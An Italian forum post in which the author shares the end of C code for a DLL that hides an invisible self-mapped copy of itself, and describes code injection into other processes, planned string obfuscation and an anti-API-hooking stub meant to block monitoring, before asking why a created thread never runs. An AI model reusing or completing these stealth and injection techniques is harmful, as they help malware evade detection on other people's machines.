PIMAGE_IMPORT_DESCRIPTOR pIDT = (PIMAGE_IMPORT_DESCRIPTOR)(pbInst +
pinth32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (UINT u = 0; pIDT[u].Characteristics; u++) {
HMODULE hModule = (HMODULE)LoadLibraryA((char*)pbInst + pIDT[u].Name);
if (!hModule) {
fSuccess = FALSE;
break;
}
PDWORD pdwILT = (PDWORD)(pbInst + pIDT[u].OriginalFirstThunk),
pdwIAT = (PDWORD)(pbInst + pIDT[u].FirstThunk);
for (UINT v = 0; fSuccess && pdwILT[v]; v++) {
PVOID pv;
if (TESTFLAG(pdwILT[v], IMAGE_ORDINAL_FLAG32)) {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)((pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) & 0xFFFF));
}
else {
pv = (PVOID)GetProcAddress(hModule, (LPCSTR)pbInst + (pdwILT[v] & ~IMAGE_ORDINAL_FLAG32) + 2);
}
if (pv) {
if (pdwIAT[v] == (DWORD)pv) {
break;
}
else {
pdwIAT[v] = (DWORD)pv;
}
}
else {
fSuccess = FALSE;
}
}
}
}
if (fSuccess) {
DWORD dwDummy;
if (!CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)ThreadProc, NULL, 0, &dwDummy)) {
fSuccess = FALSE;
}
}
return fSuccess;
}
DWORD WINAPI ThreadProc(PVOID pParameter) {
// we're done! :-)
MessageBox(NULL, TEXT("MHUWAHUWAHUWAHUWAHWUAHAU!!! xD"), NULL, MB_ICONWARNING);
return 0;
}
#ifdef __cplusplus
}
#endif
breve spiegazione: la DLL contiene le seguenti funzioni:
- FirstLoad: effettua il primo caricamento in "stealth mode"
- RemoteThreadProc: thread entry per processi esterni (lo uso per iniettare codice in altri processi, tecnica banale e conosciutissima)
- LoadToProcess: duplica la copia locale della DLL in un altro processo
- asdasdasd: questo è il mio entry point speciale: si chiama con un nome insignificante perché l'ho dovuto esportare
- ThreadProc: generico entry point per nuovi thread
più alcune funzioni di "utilità" per così dire:
- Transcode: quando il lavoro sarà finito, codificherò tutte le stringhe presenti nella DLL e userò questa routine per transcodificarli prima e dopo l'uso; in questo modo non saranno leggibili in chiaro
- GetFinalAddr: restituisce l'indirizzo a cui è effettivamente presente una funzione che viene chiamata tramite un certo indirizzo noto passato come parametro a GetFinalAddr
in pratica il funzionamento si svolge come segue: ammettendo che la DLL venga caricata normalmente una sola volta, essa in risposta a DLL_PROCESS_ATTACH chiama FirstLoad; FirstLoad apre il file della DLL stessa, crea un oggetto file mapping nel file di paging, ci scrive il contenuto del file, prima tutti gli headers e poi le sezioni una per una, e binda una parte degli import (per l'esattezza quelli provenienti da kernel32.dll); in questo modo è stata creata nel processo locale la copia invisibile, e per finire l'opera viene chiamato l'entry point asdasdasd nella copia invisibile; a questo punto l'entry point riloca tutta la DLL e finisce di bindarla.
piccola nota: se qualche frequentatore abituale del forum ha letto un mio vecchio thread in cui parlavo di un certo sistema di protezione anti API hooking, sappia che lo applicherò tra breve a questa DLL: per ora ho bindato la DLL normalmente, ma quando avrò risolto il problema che ho modificherò il codice e al posto degli indirizzo effettivi nella IAT ci metterò l'indirizzo di un piccolo stub che impedirà il monitoraggio delle funzioni importate.
ora veniamo al problema: lo scopo finale di asdasdasd è quello di creare il thread; ebbene: lo crea ma non parte e non so perché... :mc: :mc: :muro: :muro:
la CreateThread ritorna nonzero (l'identificatore del nuovo thread, verificato con Spy++), ma il codice di ThreadProc non viene mai eseguito :cry:
sempre stando a quanto dice Spy++, il nuovo thread è in stato di wait, motivazione: "User Request" qualcuno sa cosa vuol dire? ^^
piccolo aiutino plz... :help: